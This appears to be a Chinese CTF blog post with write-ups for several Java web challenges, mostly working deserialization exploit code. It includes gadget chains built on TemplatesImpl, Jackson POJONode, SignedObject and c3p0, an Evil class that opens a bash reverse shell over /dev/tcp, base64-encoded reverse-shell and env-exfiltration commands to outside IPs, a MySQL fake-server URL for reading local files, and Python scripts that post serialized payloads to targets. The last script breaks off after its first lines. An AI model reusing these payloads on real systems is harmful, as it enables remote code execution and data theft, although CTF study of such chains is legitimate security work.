Java_Java赛题分析
jerem1ah Lv4

[NUSTCTF 2022 新生赛]Ezjava1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.joe1sn.controller;
import ...

@Controller
public class HelloController {
public HelloController() {
}

@RequestMapping({"/hello"})
public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
ModelAndView mav = new ModelAndView("index");
mav.addObject("message", "Do you know \"beans\"?");
return mav;
}

@PostMapping({"/index"})
public void postIndex(@ModelAttribute EvalBean evalBean, Model model) {
System.out.println("@POST Called");
}

@GetMapping({"/index"})
public void getIndex(@ModelAttribute EvalBean evalBean, Model model) {
System.out.println("@GET Called");
}

@RequestMapping({"/addUser1"})
@ResponseBody
public String addUser(User user) throws IOException {
System.out.println(user.getDepartment().getName1());
if (user.getDepartment().getName1().contains("njust") && user.getName().contains("2022")) {
return "flag{1}";
} else {
String var10002 = user.getDepartment().getName1();
File f = new File("../webapps/ROOT/" + var10002 + user.getName() + ".njust.jsp");
return f.exists() ? "flag{2}" : user.getName();
}
}
}

payload:

1
http://node4.anna.nssctf.cn:28171/addUser1?department.name1=njust&name=2022

[CISCN 2023 初赛]DeserBug

https://p4d0rn.gitbook.io/java/ctf/deserbug

https://godspeedcurry.github.io/posts/ciscn2023-deserbug/

https://ctf.njupt.edu.cn/archives/898#DeserBug

https://unk.icu/2023/05/29/ciscn2023/

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.18</version>
</dependency>
</dependencies>

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package com.app;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());


Myexpect myexpect = new Myexpect();
Class myexceptClass = myexpect.getClass();

Field targetclassField = myexceptClass.getDeclaredField("targetclass");
targetclassField.setAccessible(true);
targetclassField.set(myexpect,TrAXFilter.class);

Field typeparamField = myexceptClass.getDeclaredField("typeparam");
typeparamField.setAccessible(true);
typeparamField.set(myexpect,new Class[]{Templates.class});

Field typeargField = myexceptClass.getDeclaredField("typearg");
typeargField.setAccessible(true);
typeargField.set(myexpect,new Object[]{templates});

// myexpect.getAnyexcept();

// JSONObject jsonObject = new JSONObject();
// jsonObject.put("aaa",myexpect);

// JSONObject jsonObject = new JSONObject();
// ConstantTransformer constantTransformer = new ConstantTransformer(myexpect);
// Map decorate = LazyMap.decorate(jsonObject,constantTransformer);
// decorate.get("789");


JSONObject jsonObject = new JSONObject();
ConstantTransformer constantTransformer = new ConstantTransformer(myexpect);
Map decorate = LazyMap.decorate(jsonObject,constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"abc");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

// serialize(badAttributeValueExpException);
// unserialize("test.bin");

ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream outer = new ObjectOutputStream(out);
outer.writeObject(badAttributeValueExpException);
byte[] result = out.toByteArray();
String result_base64 = Base64.getEncoder().encodeToString(result);
System.out.println(result_base64);

// byte[] decode = Base64.getDecoder().decode(result_base64);
// ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
// Object object = inputStream.readObject();
// String result2 = object.toString();
// System.out.println(result2);


}
}

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.app;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/ip/port<&1");
}catch (IOException e){
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

Myexcept.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
private Class[] typeparam;
private Object[] typearg;
private Class targetclass;
public String name;
public String anyexcept;

public Class getTargetclass() {
return this.targetclass;
}

public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}

public Object[] getTypearg() {
return this.typearg;
}

public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}

public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}

public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}

public Class[] getTypeparam() {
return this.typeparam;
}

public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}
}

image-20231022153202459

java命令执行

1
2
3
4
5
// base64 是要执行的命令
Runtime.getRuntime.exec("bash -c {echo,ZW52ID4gL2Rldi90Y3AvNjEuMTM5LjY1LjEzNC8zNjI2NAo=}|{base64,-d}|{bash,-i}");

//反弹shell用这个
Runtime.getRuntime.exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1");

[闽盾杯初赛 2023] babyja

https://www.yuque.com/dat0u/ctf/nvrpmma4zybpyaeg

https://su18.org/post/ysoserial-su18-5/#vaadin1

https://su18.org/post/ysoserial-su18-5/#c3p0

https://www.cnblogs.com/ZhangZiSheng001/p/12080533.html

https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8 //WrapperConnectionPoolDataSource

https://github.com/fnmsd/MySQL_Fake_Server //mysql_fake_server

1
docker run -it -d -p 28140:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} --name java lxxxin/mdb2023_babyja

分析:

小技巧,idea反编译jar包

image-20231118093322377

image-20231118094220298

https://juejin.cn/post/6868536093000761357#heading-0 //JAR包启动原理

题目信息,

image-20231118094535511

先看依赖,pom.xml,使用了vaadin、fastjson、c3p0、mysql-jdbc依赖,使用的组件都有漏洞

image-20231118094638205

接着看controller部分,找入口点。存在JSON解析,反序列化,经过了SecurityCheck函数检查

image-20231118095118045

image-20231118095224159

这里过滤了TemplatesImpl、JdbcRowSetImpl、Jndi、BadAttributeValueExpException


最终:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.ctf;

import com.ctf.bean.MyBean;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Main {
public static void main(String[] args)throws Exception{
System.out.println("Hello world!");

MyBean mybean = new MyBean();
// mybean.setDatabase("mysql://39.105.51.11:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInFile=true#");
mybean.setDatabase("mysql://39.105.51.11:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");

PropertysetItem propertysetItem = new PropertysetItem();
NestedMethodProperty<Object> n = new NestedMethodProperty<>(mybean,"Connection");

propertysetItem.addItemProperty("Connection",n);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("useless");

Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val");
valFiled.setAccessible(true);
valFiled.set(badAttributeValueExpException,propertysetItem);

System.out.println(bytesToHexString(serialize(badAttributeValueExpException)));
}
public static byte[] serialize(Object obj)throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
return bos.toByteArray();
}
public static String bytesToHexString(byte[] bArray)throws Exception{
StringBuffer sb = new StringBuffer(bArray.length);
for(byte b:bArray){
String sTemp = Integer.toHexString(255 & b);
if(sTemp.length() < 2){
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

file:///.读取目录,

file:///flag.txt读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64
url = 'http://39.105.51.11:28140/'
result = 'ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000017372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000001874000C636F6D2E6374662E4D61696E7400094D61696E2E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E00157873720024636F6D2E76616164696E2E646174612E7574696C2E50726F70657274797365744974656D9ACAF7AB3E0C76970200034C00046C6973747400164C6A6176612F7574696C2F4C696E6B65644C6973743B4C00036D61707400134C6A6176612F7574696C2F486173684D61703B4C001A70726F70657274795365744368616E67654C697374656E65727371007E00177870737200146A6176612E7574696C2E4C696E6B65644C6973740C29535D4A608822030000787077040000000174000A436F6E6E656374696F6E78737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000171007E001C73720029636F6D2E76616164696E2E646174612E7574696C2E4E65737465644D6574686F6450726F706572747956A24BCB8C99399B0300034C0008696E7374616E636571007E00014C000C70726F70657274794E616D6571007E00054C0004747970657400114C6A6176612F6C616E672F436C6173733B78720025636F6D2E76616164696E2E646174612E7574696C2E416273747261637450726F7065727479BC66A06A5CCF109E0200035A0008726561644F6E6C794C001D726561644F6E6C795374617475734368616E67654C697374656E65727371007E00174C001476616C75654368616E67654C697374656E65727371007E0017787000707073720013636F6D2E6374662E6265616E2E4D794265616ED9AB22C53614114E0200054C000A636F6E6E656374696F6E7400154C6A6176612F73716C2F436F6E6E656374696F6E3B4C0008646174616261736571007E00054C0004686F737471007E00054C000870617373776F726471007E00054C0008757365726E616D6571007E000578707074008A6D7973716C3A2F2F33392E3130352E35312E31313A333330362F746573743F757365723D66696C65726561645F66696C653A2F2F2F666C61672E74787426414C4C4F574C4F41444C4F43414C494E46494C453D74727565266D6178416C6C6F7765645061636B65743D363535333626616C6C6F7755726C496E4C6F63616C496E66696C653D747275652370707071007E001C767200136A6176612E73716C2E436F6E6E656374696F6E00000000000000000000007870787870'
data = {
'username':'xxxxxxxxxxxx',
'password':'xxxxxxxxxxxx'
}

s = requests.Session()
res = s.post(url+'login',data=data).text
cookie = s.cookies['JSESSIONID']
print(cookie,res)


data = '''{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:'''+result+''';",
}
}'''
base64data = base64.b64encode(data.encode()).decode()
res = s.post(url+'admin/123',cookies={'JSESSIONID':cookie},data={"data":base64data}).text
print(res)

image-20231118140130733

开始python脚本没有打通,原因是session的cookie好像得自己带一下?还有data和json搞混了。还是没成功,就是字典str之后,就少了缩进和换行可能,在cyberchef中带有换行base64编码一下是成功的。所以改了str取消换成字符拼接就行了。java的代码写的没问题。mysql_fake_server也没问题。

有时间再详细研究c3p0的依赖和vaadin的依赖,二次发序列化,先打通才能研究。

2023阿里云CTF Bypassit1

https://www.yuque.com/dat0u/ctf/yc1rtuv3s2e3632u

https://xz.aliyun.com/t/12509

image-20231225175558837

1
docker run -it -d -p 28120:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/aliyunctf2023_bypassit1

http://39.105.51.11:28120/

idea反编译jar,可以看到控制器部分,

image-20231225143138538

题目依赖,

image-20231225143239450

其中jackson在spring-boot-starter-web中

image-20231225143358566

暂且就这些依赖,sink点大致就是jdk自带的TemplatesImpl,

TemplatesImpl的getter方法

接下来问题就转换为如何调用TemplatesImpl的getter方法,至于为什么是getter方法,可以看之前CC3链分析,当时最终的目的是调用TemplatesImpl的newTransformer方法,之所以要调用newTransformer方法目的还是为了调用其getTransletInstance方法,所以我们直接寻找getter方法了。

对于getter和setter方法的讲解,看https://zhuanlan.zhihu.com/p/85270275 getter和setter这个应该在CISCN 2023初赛中那个题目中使用到过翻回去看看。

在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode#toString)可以调用getter方法

调用过程如下:

1
2
3
4
5
6
7
8
9
BaseJsonNode#toString
InternalNodeMapper#nodeToString
ObjectWriter#writeValueAsString
ObjectWriter#_writeValueAndClose
DefaultSerializerProvider#serializeValue
DefaultSerializerProvider#_serialize
BeanSerializer#serialize
BeanSerializerBase#serializeFields
BeanPropertyWriter#serializeAsField

问题又转换为如何调用任意类的toString方法,而JDK中BadAttributeValueExpException类在反序列化时可以调用任意类toString方法(参考CC5链的source部分)

最终:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class AliyunBypassIt {
public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\aliyun_bypassit1\\target\\classes\\org\\example\\ser.bin";

public static void main(String[] args) throws Exception {
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

ser(val);
unser(filePath);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser(String filePath) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
1
2
3
4
5
import requests
url = "http://39.105.51.11:28120/bypassit"
data = open("", "rb")
res = requests.post(url, data=data)
print(res.text)
1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}

没成功,可能因为包名不一样?新建了个项目,还是没成功

没看到这个。这里有几个注意点

Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而BaseJsonNode

image-20231225175319666

然后这样子就成功了。

image-20231225175415723

分析:

https://juejin.cn/post/7243607462008389669 //spring-boot-starter-web自带jackson依赖

首先org.springframework.boot maven引入失败的问题解决,我们尝试直接导入jackson依赖试试吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--jackson依赖-->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.1</version>
</dependency>

#这个可以对应题目
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>

jackson调用getter方法分析:

1
2
3
4
5
6
7
8
9
BaseJsonNode#toString
InternalNodeMapper#nodeToString
ObjectWriter#writeValueAsString
ObjectWriter#_writeValueAndClose
DefaultSerializerProvider#serializeValue
DefaultSerializerProvider#_serialize
BeanSerializer#serialize
BeanSerializerBase#serializeFields
BeanPropertyWriter#serializeAsField

在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode#toString)可以调用getter方法

首先导入jackson依赖

1
2
3
4
5
<dependency> 
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.1</version>
</dependency>

然后来到POJONode#toString方法,首先看一下POJONode类的继承关系,如下:

image-20231225160900775

image-20231225161434699

可以看到POJONode类继承了ValueNode类又继承了BaseJsonNode类,而BaseJsonNode类为抽象类,

image-20231225161108965

有些问题,暂且搁置

Jackson的序列化触发getter的流程2:

https://xz.aliyun.com/t/12509#toc-1

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

写一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {
public static void main(String[] args)throws JsonProcessingException {
System.out.println("hello");

MySex mySex = new MySex();
mySex.setSex(true);
User xxx = new User("xxx","123",mySex);
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(xxx);
System.out.println(json);
}
}
class MySex{
private Boolean sex;

public Boolean getSex() {
return sex;
}

public void setSex(Boolean sex) {
this.sex = sex;
}
}
class User{
private String username;
private String password;
private MySex sex;
public User(String username,String password,MySex sex){
this.username = username;
this.password = password;
this.sex = sex;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public MySex getSex() {
return sex;
}

public void setSex(MySex sex) {
this.sex = sex;
}
}

在使用ObjectMapper#writeValueAsString这个方法的过程中将会调用getter方法,调用栈如下:

image-20231225164527173

提及几个关键的方法DefaultSerializerProvider#serializeValue,

image-20231225164846392

通过findTypedValueSerializer来从缓存中获取对应的序列化器,如果没有将会创建一个序列化器并写入缓存中,这里传入的是一个POJO对象,所以得到的是一个BeanSerializer

来到BeanSerializer#serialize进行json串的构造

image-20231225165437136

首先是调用writeStartObject方法写入{字符,之后中间是对Bean对象的属性值的一些构造,最后是调用writeEndObject方法写入}字符

而在BeanSerializerBase#serializeFields方法中,主要是对Bean类中的所有属性值的写入

image-20231225165628960

而最后是能够调用对应属性值的getter方法进行赋值

image-20231225165750780

jackson版本对应的问题

对应2.9.1的执行报错:

image-20231225172238067

看了一下题目的是2.13.3,而我使用的是2.9.1,所以弹不出计算器。这个版本不同在源码的体现也不同。

image-20231225171922019

2.13.3的源码部分POJONode#toString是其父类实现的,而2.9.1的POJONode#toString是其自身实现的

image-20231225172504237

最终弹出计算器

image-20231225172140013

所以说这里利用还是有版本限制的。

2023巅峰极客 BabyURL

https://www.yuque.com/dat0u/ctf/cxipcn0g3spz7v0r

https://www.viewofthai.link/2023/07/22/%e5%b7%85%e5%b3%b0%e6%9e%81%e5%ae%a2ctf-2023-%e4%b8%8a-babyurl/

https://www.cnblogs.com/jasper-sec/p/17880638.html

https://xz.aliyun.com/t/12846

https://xz.aliyun.com/t/12485

环境:

1
2
docker run -it -d -p 28120:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl
http://39.105.51.11:28120/
1
2
3
4
5
6
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

关于springboot的maven配置参考https://blog.csdn.net/qq_18335837/article/details/100566949

分析1-SignedObject二次反序列化:

用idea反编译jar,hack路由存在反序列化,如下:

image-20231225202038392

这个反序列化MyObjectInputStream类是自定义对象输入流,过滤了URLvisit和URLhelper。file路由读取/tmp/file内容返回。URLhelper类有反序列化入口。

image-20231225203956018

image-20231225204201195

这里URLHelper类被过滤,无法直接反序列化,可以二次反序列化,java.security.SignObject#getObject触发二次反序列化。

image-20231225204646348

这样一来,就转换成了调用任意对象的getter方法了。和刚才的aliyun bypassit一样了。

几个需要注意的点;

  1. 本地重写一下BaseJsonNode类,把writeReplace方法删除掉才能正常反序列化
  2. 在URLHelper中会对传入的url做校验,不过用的是myurl.startsWith("file")方式校验,可以通过大写绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.yancao.ctf;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;

public class Main {
public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin";
public static void main(String[] args)throws Exception {
System.out.println("Hello world!");

URLHelper handler = new URLHelper("File:///");
handler.visiter = new URLVisiter();

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(handler,privateKey,signingEngine);

POJONode node = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",node);

ser(badAttributeValueExpException);
unser(filePath);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser(String filePath) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}
}

调用栈如下:

image-20231225212321066

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
readObject:18, URLHelper (com.yancao.ctf.bean)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
getObject:180, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:62, BaseJsonNode (com.fasterxml.jackson.databind.node)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unser:51, Main (com.yancao.ctf)
main:37, Main (com.yancao.ctf)
1
2
3
4
5
6
7
8
9
import requests
import base64
url = "http://39.105.51.11:28120/hack"
